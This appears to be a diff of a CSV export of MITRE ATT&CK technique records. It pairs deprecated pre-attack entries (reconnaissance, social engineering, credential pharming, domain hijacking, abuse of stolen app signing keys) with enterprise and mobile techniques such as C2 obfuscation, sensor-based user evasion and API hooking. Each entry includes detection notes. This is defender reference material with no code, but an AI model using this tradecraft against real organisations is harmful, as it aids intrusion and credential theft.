the “APT” Intelligence Gathering Process. Retrieved March 1, 2017.'}, {'source_name': 'FireEyeAPT28', 'description': 'FireEye, Inc. (2014). APT 28: A Window into Russia’s Cyber Espionage Operations?. Retrieved March 1, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'technical-weakness-identification'}]",1.0,,https://attack.mitre.org/techniques/T1287,mitre-pre-attack,T1287,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Analyze data collected,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1287). - -An adversary will assess collected information such as software/hardware versions, vulnerabilities, patch level, etc. They will analyze technical scanning results to identify weaknesses in the confirmation or architecture. (Citation: SurveyDetectionStrategies) (Citation: CyberReconPaper) (Citation: RSA-APTRecon) (Citation: FireEyeAPT28)",attack-pattern--773950e1-090c-488b-a480-9ff236312e31,attack-pattern,['technical-weakness-identification'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1064,"Many of the common tools highlight these weaknesses automatically. Adversary can ""dry run"" against the target using known exploits or burner devices to determine key identifiers of software, hardware, and services.",Yes,This can be done offline after the data has been collected.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1303', 'external_id': 'T1303'}, {'source_name': 'Scasny2015', 'description': 'Gregory Scasny. (2015, September 14). Understanding Open Source Intelligence (OSINT) and its relationship to Identity Theft. Retrieved March 1, 2017.'}, {'source_name': 'OPM Breach', 'description': 'Hon. Jason Chaffetz, Hon. Mark Meadows, Hon. Will Hurd. (2016, September 7). The OPM Data Breach: How the Government Jeopardized Our National Security for More than a Generation. Retrieved March 28, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'organizational-weakness-identification'}]",1.0,,https://attack.mitre.org/techniques/T1303,mitre-pre-attack,T1303,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Analyze presence of outsourced capabilities,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1303). - -Outsourcing, the arrangement of one company providing goods or services to another company for something that could be done in-house, provides another avenue for an adversary to target. Businesses often have networks, portals, or other technical connections between themselves and their outsourced/partner organizations that could be exploited. Additionally, outsourced/partner organization information could provide opportunities for phishing. (Citation: Scasny2015) (Citation: OPM Breach)",attack-pattern--34450117-d1d5-417c-bb74-4359fc6551ca,attack-pattern,['organizational-weakness-identification'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1080,"Analyzing business relationships from information gathering may provide insight into outsourced capabilities. In certain industries, outsourced capabilities or close business partnerships may be advertised on corporate websites.",Yes,"Much of this analysis can be done using the target's open source website, which is purposely designed to be informational and may not have extensive visitor tracking capabilities.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1224', 'external_id': 'T1224'}, {'source_name': 'ODNIIntegration', 'description': 'Office of the Director of National Intelligence. (n.d.). Intelligence Integration - Who Are We. Retrieved March 2, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'priority-definition-planning'}]",1.0,,https://attack.mitre.org/techniques/T1224,mitre-pre-attack,T1224,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Assess leadership areas of interest,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1224). - -Leadership assesses the areas of most interest to them and generates Key Intelligence Topics (KIT) or Key Intelligence Questions (KIQ). For example, an adversary knows from open and closed source reporting that cyber is of interest, resulting in it being a KIT. (Citation: ODNIIntegration)",attack-pattern--d3999268-740f-467e-a075-c82e2d04be62,attack-pattern,['priority-definition-planning'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1001,Normal aspect of adversary planning lifecycle. May not be done by all adversaries.,Yes,"Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1238', 'external_id': 'T1238'}, {'source_name': 'AnalystsAndPolicymaking', 'description': 'Jack Davis. (2002, September). Improving CIA Analytic Performance: Analysts and the Policymaking Process. Retrieved March 5, 2017.'}, {'source_name': 'JP2-01', 'description': 'Joint Chiefs of Staff. (2012, January 05). Joint and National Intelligence Support to Military Operations. Retrieved March 2, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'priority-definition-direction'}]",1.0,,https://attack.mitre.org/techniques/T1238,mitre-pre-attack,T1238,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Assign KITs, KIQs, and/or intelligence requirements","This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1238). - -Once generated, Key Intelligence Topics (KITs), Key Intelligence Questions (KIQs), and/or intelligence requirements are assigned to applicable agencies and/or personnel. For example, an adversary may decide nuclear energy requirements should be assigned to a specific organization based on their mission. (Citation: AnalystsAndPolicymaking) (Citation: JP2-01)",attack-pattern--4fad17d3-8f42-449d-ac4b-dbb4c486127d,attack-pattern,['priority-definition-direction'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1015,Normal aspect of adversary planning lifecycle. May not be done by all adversaries.,Yes,"Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1347', 'external_id': 'T1347'}, {'source_name': 'APT1', 'description': 'Mandiant. (n.d.). APT1: Exposing One of China’s Cyber Espionage Units. Retrieved March 5, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'build-capabilities'}]",1.0,,https://attack.mitre.org/techniques/T1347,mitre-pre-attack,T1347,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Build and configure delivery systems,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1347). - -Delivery systems are the infrastructure used by the adversary to host malware or other tools used during exploitation. Building and configuring delivery systems may include multiple activities such as registering domain names, renting hosting space, or configuring previously exploited environments. (Citation: APT1)",attack-pattern--15ef4da5-3b93-4bb1-a39a-5396661956d3,attack-pattern,['build-capabilities'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1124,"It is easy to create and burn infrastructure. Otherwise, blacklisting would be more successful for defenders.",Yes,"It is detectable once deployed to the public Internet, used for adversarial purposes, discovered, and reported to defenders.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1391', 'external_id': 'T1391'}, {'source_name': 'Fraudenlent Apps Stolen Dev Credentials', 'description': 'Galen Gruman. (2014, December 5). Keep out hijackers: Secure your app store dev account. Retrieved April 12, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'persona-development'}]",1.0,,https://attack.mitre.org/techniques/T1391,mitre-pre-attack,T1391,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Choose pre-compromised mobile app developer account credentials or signing keys,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1391). - -The adversary can use account credentials or signing keys of an existing mobile app developer to publish malicious updates of existing mobile apps to an application store, or to abuse the developer's identity and reputation to publish new malicious apps. Many mobile devices are configured to automatically install new versions of already-installed apps. (Citation: Fraudenlent Apps Stolen Dev Credentials)",attack-pattern--7a265bf0-6acc-4f43-8b22-2e58b443e62e,attack-pattern,['persona-development'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1168,"The difficulty of obtaining useful developer credentials may vary. Well-organized, professional app developers whose credentials or signing keys would be the most useful to an adversary because of the large install bases of their apps, would likely strongly protect their credentials and signing keys. Less-organized app developers may not protect their credentials and signing keys as strongly, but the credentials and signing keys would also be less useful to an adversary. These less-organized app developers may reuse passwords across sites, fail to turn on multi-factor authentication features when available, or store signing keys in unprotected locations.",No,Possible to detect compromised credentials if alerting from a service provider is enabled and acted upon by the individual.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1354', 'external_id': 'T1354'}, {'source_name': 'TempertonDarkHotel', 'description': 'Temperton, J. (2015, August 10). Hacking Team zero-day used in new Darkhotel attacks. Retrieved March 9, 2017.', 'url': 'https://www.wired.co.uk/article/darkhotel-hacking-team-cyber-espionage'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'build-capabilities'}]",1.0,,https://attack.mitre.org/techniques/T1354,mitre-pre-attack,T1354,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Compromise 3rd party or closed-source vulnerability/exploit information,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1354). - -There is usually a delay between when a vulnerability or exploit is discovered and when it is made public. An adversary may target the systems of those known to research vulnerabilities in order to gain that knowledge for use during a different attack. (Citation: TempertonDarkHotel)",attack-pattern--5a68c603-d7f9-4535-927e-ab56819eaa85,attack-pattern,['build-capabilities'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1131,"Finding, attacking, and compromising a 3rd party or closed vulnerability entity is challenging, because those containing the vulnerabilities should be very aware of attacks on their environments have a heightened awareness.",No,"The compromise of unknown vulnerabilities would provide little attack and warning against a defender, rendering it highly challenging to detect.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1279', 'external_id': 'T1279'}, {'source_name': 'SEAttackVectors', 'description': 'Mathew J. Schwartz. (2011, September 14). Social Engineering Leads APT Attack Vectors. Retrieved March 5, 2017.'}, {'source_name': 'BeachSE2003', 'description': 'Gary Beach. (2003, October 1). Kevin Mitnick on Social Engineering Hackers. Retrieved March 5, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'organizational-information-gathering'}]",1.0,,https://attack.mitre.org/techniques/T1279,mitre-pre-attack,T1279,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Conduct social engineering,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1279). - -Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)",attack-pattern--a757670d-d600-48d9-8ae9-601d42c184a5,attack-pattern,['organizational-information-gathering'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1056,Very effective technique for the adversary that does not require any formal training and relies upon finding just one person who exhibits poor judgement.,Yes,No technical means to detect an adversary collecting information about a target. Any detection would be based upon strong OPSEC policy implementation.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1339', 'external_id': 'T1339'}, {'source_name': 'LUCKYCAT2012', 'description': 'Forward-Looking Threat Research Team. (2012). LUCKYCAT REDUX: Inside an APT Campaign with Multiple Targets in India and Japan. Retrieved March 1, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'establish-&-maintain-infrastructure'}]",1.0,,https://attack.mitre.org/techniques/T1339,mitre-pre-attack,T1339,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Create backup infrastructure,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1339). - -Backup infrastructure allows an adversary to recover from environmental and system failures. It also facilitates recovery or movement to other infrastructure if the primary infrastructure is discovered or otherwise is no longer viable. (Citation: LUCKYCAT2012)",attack-pattern--a425598d-7c19-40f7-9aa3-ac20f0d5c2b2,attack-pattern,['establish-&-maintain-infrastructure'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1116,"The adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], commercial storage solutions).",Yes,"Infrastructure is (typically) outside of control/visibility of defender and as such as tools are staged for specific campaigns, it will not be obvious to those being attacked.",No, -"[{'source_name': 'mitre-pre-attack', 'external_id': 'T1374', 'url': 'https://attack.mitre.org/techniques/T1374'}, {'description': 'Ellen Messmer. (2008, January 22). First case of ""drive-by pharming"" identified in the wild. Retrieved March 2, 2017.', 'source_name': 'DriveByPharming'}, {'description': 'Nick Johnston. (2014, March 13). Google Docs Users Targeted by Sophisticated Phishing Scam. Retrieved March 29, 2017.', 'source_name': 'GoogleDrive Phishing'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'launch'}]",1.0,False,https://attack.mitre.org/techniques/T1374,mitre-pre-attack,T1374,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Credential pharming,"**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.** - -Credential pharming a form of attack designed to steal users' credential by redirecting users to fraudulent websites. Pharming can be conducted either by changing the hosts file on a victim's computer or by exploitation of a vulnerability in DNS server software. (Citation: DriveByPharming) (Citation: GoogleDrive Phishing)",attack-pattern--38a6d2f5-d948-4235-bb91-bb01604448b4,attack-pattern,['launch'],2020-03-30T14:18:16.035Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1151,"Although it can be difficult to spoof/redirect content to a hostile service via DNS poisoning or MiTM attacks, current malware such as Zeus is able to successfully pharm credentials and end users are not well-versed in checking for certificate mismatches.",Yes,"Fidelity of networking monitoring must be able to detect when traffic is diverted to non-normal sources at a site level. It is possible to identify some methods of pharming, but detection capabilities are limited and not commonly implemented.",No, -"[{'external_id': 'T1230', 'url': 'https://attack.mitre.org/techniques/T1230', 'source_name': 'mitre-pre-attack'}, {'description': 'Mark M. Lowenthal. (n.d.). Ch 4: The Intelligence Process--A Macro Look; Who Does What for Whome?, Intelligence: From Secrets to Policy. Retrieved March 2, 2017.', 'source_name': 'LowenthalCh4'}, {'description': 'Clyde R. Heffter. (2011, August 4). A Fresh Look at Collection Requirements. Retrieved March 2, 2017.', 'source_name': 'Heffter'}]","[{'phase_name': 'priority-definition-planning', 'kill_chain_name': 'mitre-pre-attack'}]",1.0,,https://attack.mitre.org/techniques/T1230,mitre-pre-attack,T1230,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Derive intelligence requirements,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1230). - -Leadership or key decision makers may derive specific intelligence requirements from Key Intelligence Topics (KITs) or Key Intelligence Questions (KIQs). Specific intelligence requirements assist analysts in gathering information to establish a baseline of information about a topic or question and collection managers to clarify the types of information that should be collected to satisfy the requirement. (Citation: LowenthalCh4) (Citation: Heffter)",attack-pattern--15d5eaa4-597a-47fd-a692-f2bed434d904,attack-pattern,['priority-definition-planning'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1007,Normal aspect of adversary planning lifecycle. May not be done by all adversaries.,Yes,"Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1250', 'external_id': 'T1250'}, {'source_name': 'RSA-APTRecon', 'description': 'Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the “APT” Intelligence Gathering Process. Retrieved March 1, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'technical-information-gathering'}]",1.0,,https://attack.mitre.org/techniques/T1250,mitre-pre-attack,T1250,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Determine domain and IP address space,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1250). - -Domain Names are the human readable names used to represent one or more IP addresses. IP addresses are the unique identifier of computing devices on a network. Both pieces of information are valuable to an adversary who is looking to understand the structure of a network. (Citation: RSA-APTRecon)",attack-pattern--23ecb7e0-0340-43d9-80a5-8971fe866ddf,attack-pattern,['technical-information-gathering'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1027,"AS and IANA data are easily available, existing research tools.",Yes,Public or easily obtainable information by design.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1282', 'external_id': 'T1282'}, {'source_name': 'RSA-APTRecon', 'description': 'Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the “APT” Intelligence Gathering Process. Retrieved March 1, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'organizational-information-gathering'}]",1.0,,https://attack.mitre.org/techniques/T1282,mitre-pre-attack,T1282,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Determine physical locations,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1282). - -Physical locality information may be used by an adversary to shape social engineering attempts (language, culture, events, weather, etc.) or to plan for physical actions such as dumpster diving or attempting to access a facility. (Citation: RSA-APTRecon)",attack-pattern--2011ffeb-8003-41ef-b962-9d1cbfa35e6d,attack-pattern,['organizational-information-gathering'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1059,Most corporations now list their locations on public facing websites. Some challenge still exists to find covert or sensitive locations.,Yes,"Adversary searches publicly available sources that list physical locations that cannot be monitored by a defender or are not necessarily monitored (e.g., all IP addresses touching their public web space listing physical locations).",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1350', 'external_id': 'T1350'}, {'source_name': 'EquationQA', 'description': 'Kaspersky Lab. (2015, February). EQUATION GROUP: QUESTIONS AND ANSWERS. Retrieved March 9, 2017.', 'url': 'https://www.threatminer.org/_reports/2015/Equation_group_questions_and_answers.pdf'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'build-capabilities'}]",1.0,,https://attack.mitre.org/techniques/T1350,mitre-pre-attack,T1350,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Discover new exploits and monitor exploit-provider forums,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1350). - -An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may need to discover new exploits when existing exploits are no longer relevant to the environment they are trying to compromise. An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. (Citation: EquationQA)",attack-pattern--82bbd209-f516-45e0-9542-4ffbbc2a8717,attack-pattern,['build-capabilities'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1127,Many public sources exist for this information.,Yes,Public source external to the defender's organization.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1326', 'external_id': 'T1326'}, {'source_name': 'ICANNDomainNameHijacking', 'description': 'ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved March 6, 2017.', 'url': 'https://www.icann.org/groups/ssac/documents/sac-007-en'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'establish-&-maintain-infrastructure'}]",1.0,,https://attack.mitre.org/techniques/T1326,mitre-pre-attack,T1326,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Domain registration hijacking,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1326). - -Domain Registration Hijacking is the act of changing the registration of a domain name without the permission of the original registrant. (Citation: ICANNDomainNameHijacking)",attack-pattern--aadaee0d-794c-4642-8293-7ec22a99fb1a,attack-pattern,['establish-&-maintain-infrastructure'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1103,Requires adversary to gain access to an email account for person listed as the domain registrar/POC. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or take advantage of renewal process gaps.,Yes,Generally not easily detectable unless domain registrar provides alerting on any updates.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1261', 'external_id': 'T1261'}, {'source_name': 'CommonApplicationAttacks', 'description': 'Paul Ionescu. (2015, April 8). The 10 Most Common Application Attacks in Action. Retrieved March 5, 2017.'}, {'source_name': 'WebApplicationSecurity', 'description': 'Gregory Leonard. (2016, February). Getting Started with Web Application Security. Retrieved March 5, 2017.'}, {'source_name': 'SANSTop25', 'description': 'SANS Institute. (2011, June 27). CWE/SANS TOP 25 Most Dangerous Software Errors. Retrieved March 5, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'technical-information-gathering'}]",1.0,,https://attack.mitre.org/techniques/T1261,mitre-pre-attack,T1261,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Enumerate externally facing software applications technologies, languages, and dependencies","This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1261). +To obtain the passwords and hashes stored in memory, processes must open a maps file in the /proc filesystem for the process being analyzed. This file is stored under the path /proc//maps, where the directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.",False,"['Administrator', 'SYSTEM', 'root']","['Windows', 'Linux', 'macOS']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1001', 'external_id': 'T1001'}, {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf'}]",1.1,attack-pattern,attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-05-31T21:30:18.931Z,2020-03-15T00:40:27.670Z,Data Obfuscation,"Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols. ",['command-and-control'],https://attack.mitre.org/techniques/T1001,mitre-attack,T1001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Network Traffic: Network Traffic Content'],,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",False,,"['Linux', 'macOS', 'Windows']",,,,,True,,,, +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1618', 'external_id': 'T1618'}]",1.0,attack-pattern,attack-pattern--2f0e8d80-4b8b-4f4a-b5cc-132afe7e057d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-09-30T18:18:52.285Z,2021-10-12T18:13:25.586Z,User Evasion,"Adversaries may attempt to avoid detection by hiding malicious behavior from the user. By doing this, an adversary’s modifications would most likely remain installed on the device for longer, allowing the adversary to continue to operate on that device. -Software applications will be built using different technologies, languages, and dependencies. This information may reveal vulnerabilities or opportunities to an adversary. (Citation: CommonApplicationAttacks) (Citation: WebApplicationSecurity) (Citation: SANSTop25)",attack-pattern--ef6197fd-a58a-4006-bfd6-1d7765d8409d,attack-pattern,['technical-information-gathering'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1038,Basic interaction with the site provides insight into the programming languages/technologies used for a given web site. Additionally many of the active scanning tools will also provide some insight into this information.,Yes,"Impossible to differentiate between an adversary and a normal user when accessing a site to determine the languages/technologies used. If active scanning tools are employed, then the defender has the ability to detect. However, this is typically not acted upon due to the large volume of this type of traffic and it will likely not prompt the defender to take any actionable defense. Defender review of access logs may provide some insight based on trends or patterns.",Yes, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1234', 'external_id': 'T1234'}, {'source_name': 'Herring1999', 'description': 'Jan P. Herring. (1999). Key Intelligence Topics: A Process to Identify and Define Intelligence Needs. Retrieved March 2, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'priority-definition-planning'}]",1.0,,https://attack.mitre.org/techniques/T1234,mitre-pre-attack,T1234,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Generate analyst intelligence requirements,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1234). +While there are many ways this can be accomplished, one method is by using the device’s sensors. By utilizing the various motion sensors on a device, such as accelerometer or gyroscope, an application could detect that the device is being interacted with. That way, the application could continue to run while the device is not in use but cease operating while the user is using the device, hiding anything that would indicate malicious activity was ongoing. Accessing the sensors in this way does not require any permissions from the user, so it would be completely transparent.",['defense-evasion'],https://attack.mitre.org/techniques/T1618,mitre-mobile-attack,T1618,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Mobile security products may be able to detect some forms of user evasion. Otherwise, the act of hiding malicious activity could be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.",False,,['Android'],,,,,,,,['Post-Adversary Device Access'], +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1617', 'external_id': 'T1617'}]",1.0,attack-pattern,attack-pattern--ccde43e4-78f9-4f32-b401-c081e7db71ea,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-09-24T14:47:34.182Z,2021-10-04T20:08:47.559Z,Hooking,"Adversaries may utilize hooking to hide the presence of artifacts associated with their behaviors to evade detection. Hooking can be used to modify return values or data structures of system APIs and function calls. This process typically involves using 3rd party root frameworks, such as Xposed or Magisk, with either a system exploit or pre-existing root access. By including custom modules for root frameworks, adversaries can hook system APIs and alter the return value and/or system data structures to alter functionality/visibility of various aspects of the system.",['defense-evasion'],https://attack.mitre.org/techniques/T1617,mitre-mobile-attack,T1617,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Jörg Abraham, EclecticIQ']",,,"Hooking can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.",False,,['Android'],,,,,,,,['Post-Adversary Device Access'], +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}, 